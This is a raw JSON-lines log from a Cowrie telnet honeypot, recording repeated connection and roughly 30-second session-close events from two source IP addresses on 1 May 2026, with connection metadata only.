{"eventid":"cowrie.session.closed","duration":30.99554467201233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.236515Z","src_ip":"208.115.200.90","session":"c2f92d404a18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.877391815185547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.253896Z","src_ip":"208.115.200.90","session":"dfb5dbf3f9dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37214,"dst_ip":"10.17.0.5","dst_port":23,"session":"37dd980c5d65","protocol":"telnet","message":"New connection: 208.115.219.122:37214 (10.17.0.5:23) [session: 37dd980c5d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.289370Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34162,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fd85baaac01","protocol":"telnet","message":"New connection: 208.115.200.90:34162 (10.17.0.5:23) [session: 0fd85baaac01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.340834Z"}
{"eventid":"cowrie.session.closed","duration":31.526052713394165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.552994Z","src_ip":"208.115.200.90","session":"f43b3336ff1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34426,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aec90970862","protocol":"telnet","message":"New connection: 208.115.200.90:34426 (10.17.0.5:23) [session: 2aec90970862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.617023Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34550,"dst_ip":"10.17.0.5","dst_port":23,"session":"857a8a6da15c","protocol":"telnet","message":"New connection: 208.115.200.90:34550 (10.17.0.5:23) [session: 857a8a6da15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.707355Z"}
{"eventid":"cowrie.session.closed","duration":31.46842098236084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.748531Z","src_ip":"208.115.200.90","session":"36fff0da2e91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34630,"dst_ip":"10.17.0.5","dst_port":23,"session":"3895766ffb75","protocol":"telnet","message":"New connection: 208.115.200.90:34630 (10.17.0.5:23) [session: 3895766ffb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.754489Z"}
{"eventid":"cowrie.session.closed","duration":31.723257064819336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:57.797760Z","src_ip":"208.115.219.122","session":"4ef99341a2e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.894348859786987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.024924Z","src_ip":"208.115.219.122","session":"d34ac1f1f0fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.417012929916382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.042110Z","src_ip":"208.115.219.122","session":"40d119d3943c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37434,"dst_ip":"10.17.0.5","dst_port":23,"session":"849e6a095efd","protocol":"telnet","message":"New connection: 208.115.219.122:37434 (10.17.0.5:23) [session: 849e6a095efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.046857Z"}
{"eventid":"cowrie.session.closed","duration":30.99435305595398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.072898Z","src_ip":"208.115.200.90","session":"e98890e0a9a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34904,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d3150b45ec5","protocol":"telnet","message":"New connection: 208.115.200.90:34904 (10.17.0.5:23) [session: 1d3150b45ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.119268Z"}
{"eventid":"cowrie.session.closed","duration":31.072178602218628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.266598Z","src_ip":"208.115.219.122","session":"fea9a8dee935","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34908,"dst_ip":"10.17.0.5","dst_port":23,"session":"26f15f82bf6a","protocol":"telnet","message":"New connection: 208.115.200.90:34908 (10.17.0.5:23) [session: 26f15f82bf6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.318294Z"}
{"eventid":"cowrie.session.closed","duration":30.9257869720459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.354064Z","src_ip":"208.115.200.90","session":"f62fe4f878d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136534690856934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.416299Z","src_ip":"208.115.200.90","session":"0184d05f6c75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.343536138534546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.436320Z","src_ip":"208.115.200.90","session":"8d9050ef35eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832186460494995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.516868Z","src_ip":"208.115.200.90","session":"c0e6d2a74b1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93174719810486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.536523Z","src_ip":"208.115.219.122","session":"b0aa61dcda59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35118,"dst_ip":"10.17.0.5","dst_port":23,"session":"af80e8413a2b","protocol":"telnet","message":"New connection: 208.115.200.90:35118 (10.17.0.5:23) [session: af80e8413a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.712353Z"}
{"eventid":"cowrie.session.closed","duration":31.534664154052734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:58.721586Z","src_ip":"208.115.200.90","session":"287a70a8d343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.075090169906616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:59.012198Z","src_ip":"208.115.219.122","session":"ca8ffe8d25c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.966413497924805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:59.025040Z","src_ip":"208.115.219.122","session":"5c47f448cc4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37482,"dst_ip":"10.17.0.5","dst_port":23,"session":"94a4401c5534","protocol":"telnet","message":"New connection: 208.115.219.122:37482 (10.17.0.5:23) [session: 94a4401c5534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:59.045181Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37500,"dst_ip":"10.17.0.5","dst_port":23,"session":"9df898bee963","protocol":"telnet","message":"New connection: 208.115.219.122:37500 (10.17.0.5:23) [session: 9df898bee963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:59.097882Z"}
{"eventid":"cowrie.session.closed","duration":30.60273814201355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:59.129177Z","src_ip":"208.115.200.90","session":"32c253e17b3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37508,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c245fbefe43","protocol":"telnet","message":"New connection: 208.115.219.122:37508 (10.17.0.5:23) [session: 3c245fbefe43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:59.145844Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37514,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fdc189da6fb","protocol":"telnet","message":"New connection: 208.115.219.122:37514 (10.17.0.5:23) [session: 8fdc189da6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:59.188112Z"}
{"eventid":"cowrie.session.closed","duration":30.555540323257446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:59.244343Z","src_ip":"208.115.200.90","session":"f2090c7eda62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.249651193618774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:59.561749Z","src_ip":"208.115.219.122","session":"4a03e3d6cadc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.295785903930664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:59.595452Z","src_ip":"208.115.200.90","session":"459a4dff2cf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36260,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c9ba41eb945","protocol":"telnet","message":"New connection: 208.115.200.90:36260 (10.17.0.5:23) [session: 8c9ba41eb945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:59.864674Z"}
{"eventid":"cowrie.session.closed","duration":30.81723666191101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.024877Z","src_ip":"208.115.219.122","session":"6eb8e67ab3b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940898180007935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.057606Z","src_ip":"208.115.219.122","session":"0becdb1ea532","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36412,"dst_ip":"10.17.0.5","dst_port":23,"session":"064ab4d4f85a","protocol":"telnet","message":"New connection: 208.115.200.90:36412 (10.17.0.5:23) [session: 064ab4d4f85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.078974Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36436,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c4912aad7c1","protocol":"telnet","message":"New connection: 208.115.200.90:36436 (10.17.0.5:23) [session: 0c4912aad7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.099148Z"}
{"eventid":"cowrie.session.closed","duration":30.658997774124146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.163678Z","src_ip":"208.115.219.122","session":"f86bb5340380","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146230220794678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.176658Z","src_ip":"208.115.200.90","session":"af78946bf819","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37600,"dst_ip":"10.17.0.5","dst_port":23,"session":"0187f10867d4","protocol":"telnet","message":"New connection: 208.115.219.122:37600 (10.17.0.5:23) [session: 0187f10867d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.250358Z"}
{"eventid":"cowrie.session.closed","duration":30.933820247650146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.269477Z","src_ip":"208.115.200.90","session":"a1e38d83fb19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36456,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebe472b80d3a","protocol":"telnet","message":"New connection: 208.115.200.90:36456 (10.17.0.5:23) [session: ebe472b80d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.289058Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36462,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f60e7178456","protocol":"telnet","message":"New connection: 208.115.200.90:36462 (10.17.0.5:23) [session: 4f60e7178456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.302064Z"}
{"eventid":"cowrie.session.closed","duration":31.082261562347412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.616772Z","src_ip":"208.115.200.90","session":"feb3b0635899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37642,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2b19ff6674f","protocol":"telnet","message":"New connection: 208.115.219.122:37642 (10.17.0.5:23) [session: e2b19ff6674f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.631417Z"}
{"eventid":"cowrie.session.closed","duration":30.934224843978882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.670598Z","src_ip":"208.115.200.90","session":"a8642e09754c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36710,"dst_ip":"10.17.0.5","dst_port":23,"session":"172b41a0a069","protocol":"telnet","message":"New connection: 208.115.200.90:36710 (10.17.0.5:23) [session: 172b41a0a069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.685745Z"}
{"eventid":"cowrie.session.closed","duration":31.031264781951904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.889013Z","src_ip":"208.115.200.90","session":"26ff8c1dbc45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36992,"dst_ip":"10.17.0.5","dst_port":23,"session":"4efbfff6c84b","protocol":"telnet","message":"New connection: 208.115.200.90:36992 (10.17.0.5:23) [session: 4efbfff6c84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:00.950210Z"}
{"eventid":"cowrie.session.closed","duration":30.804498434066772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.013849Z","src_ip":"208.115.219.122","session":"31e30c6d7923","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954973459243774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.021208Z","src_ip":"208.115.219.122","session":"fda5742997ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98780369758606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.027466Z","src_ip":"208.115.219.122","session":"1862a1ffa447","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.838645458221436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.040032Z","src_ip":"208.115.219.122","session":"337ebc7d30c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.129157781600952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.060391Z","src_ip":"208.115.219.122","session":"57c50d3b09c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37072,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8019a1feb98","protocol":"telnet","message":"New connection: 208.115.200.90:37072 (10.17.0.5:23) [session: c8019a1feb98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.088915Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37442,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fd4af0f8bda","protocol":"telnet","message":"New connection: 208.115.219.122:37442 (10.17.0.5:23) [session: 4fd4af0f8bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.110440Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37084,"dst_ip":"10.17.0.5","dst_port":23,"session":"607fa353e298","protocol":"telnet","message":"New connection: 208.115.200.90:37084 (10.17.0.5:23) [session: 607fa353e298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.115985Z"}
{"eventid":"cowrie.session.closed","duration":31.08371138572693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.145647Z","src_ip":"208.115.219.122","session":"2cbfed78147a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37670,"dst_ip":"10.17.0.5","dst_port":23,"session":"a36f2aa4ee19","protocol":"telnet","message":"New connection: 208.115.219.122:37670 (10.17.0.5:23) [session: a36f2aa4ee19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.163040Z"}
{"eventid":"cowrie.session.closed","duration":30.552757740020752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.173222Z","src_ip":"208.115.200.90","session":"ada943989969","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953686475753784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.240840Z","src_ip":"208.115.200.90","session":"84aac2c6a3df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32288360595703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.248488Z","src_ip":"208.115.200.90","session":"ca088e57d408","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26574397087097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.479304Z","src_ip":"208.115.200.90","session":"bf7cbf30f122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.345661401748657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.493896Z","src_ip":"208.115.200.90","session":"ee6f1bdb9d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47265934944153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.764934Z","src_ip":"208.115.200.90","session":"ad8343eac67b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37642,"dst_ip":"10.17.0.5","dst_port":23,"session":"c66001ba9a70","protocol":"telnet","message":"New connection: 208.115.200.90:37642 (10.17.0.5:23) [session: c66001ba9a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:01.963513Z"}
{"eventid":"cowrie.session.closed","duration":30.8998064994812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.016101Z","src_ip":"208.115.219.122","session":"92229fd3b87a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65598702430725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.025642Z","src_ip":"208.115.200.90","session":"4bb0fbeb9625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87460970878601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.033551Z","src_ip":"208.115.219.122","session":"faf784dfcec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.988924264907837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.039296Z","src_ip":"208.115.219.122","session":"6fd880b83569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.971275806427002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.047612Z","src_ip":"208.115.219.122","session":"00a9945d5a36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37670,"dst_ip":"10.17.0.5","dst_port":23,"session":"8377d976feee","protocol":"telnet","message":"New connection: 208.115.200.90:37670 (10.17.0.5:23) [session: 8377d976feee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.060629Z"}
{"eventid":"cowrie.session.closed","duration":30.736583471298218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.102710Z","src_ip":"208.115.200.90","session":"f64a9f457946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01739740371704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.156796Z","src_ip":"208.115.200.90","session":"f75354c057e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37678,"dst_ip":"10.17.0.5","dst_port":23,"session":"c41361dd89cb","protocol":"telnet","message":"New connection: 208.115.200.90:37678 (10.17.0.5:23) [session: c41361dd89cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.190253Z"}
{"eventid":"cowrie.session.closed","duration":30.654388904571533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.199622Z","src_ip":"208.115.200.90","session":"5a4bb04b1cdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82334542274475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.263993Z","src_ip":"208.115.200.90","session":"871d6b505af2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37700,"dst_ip":"10.17.0.5","dst_port":23,"session":"8db27da466cc","protocol":"telnet","message":"New connection: 208.115.200.90:37700 (10.17.0.5:23) [session: 8db27da466cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.269470Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37840,"dst_ip":"10.17.0.5","dst_port":23,"session":"87cdcb33fbb9","protocol":"telnet","message":"New connection: 208.115.219.122:37840 (10.17.0.5:23) [session: 87cdcb33fbb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.316413Z"}
{"eventid":"cowrie.session.closed","duration":30.38045644760132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.337510Z","src_ip":"208.115.200.90","session":"787c092c4818","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37724,"dst_ip":"10.17.0.5","dst_port":23,"session":"8926071673b8","protocol":"telnet","message":"New connection: 208.115.200.90:37724 (10.17.0.5:23) [session: 8926071673b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.461235Z"}
{"eventid":"cowrie.session.closed","duration":30.52633023262024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:02.474301Z","src_ip":"208.115.200.90","session":"8200a2089222","protocol":"telnet"}
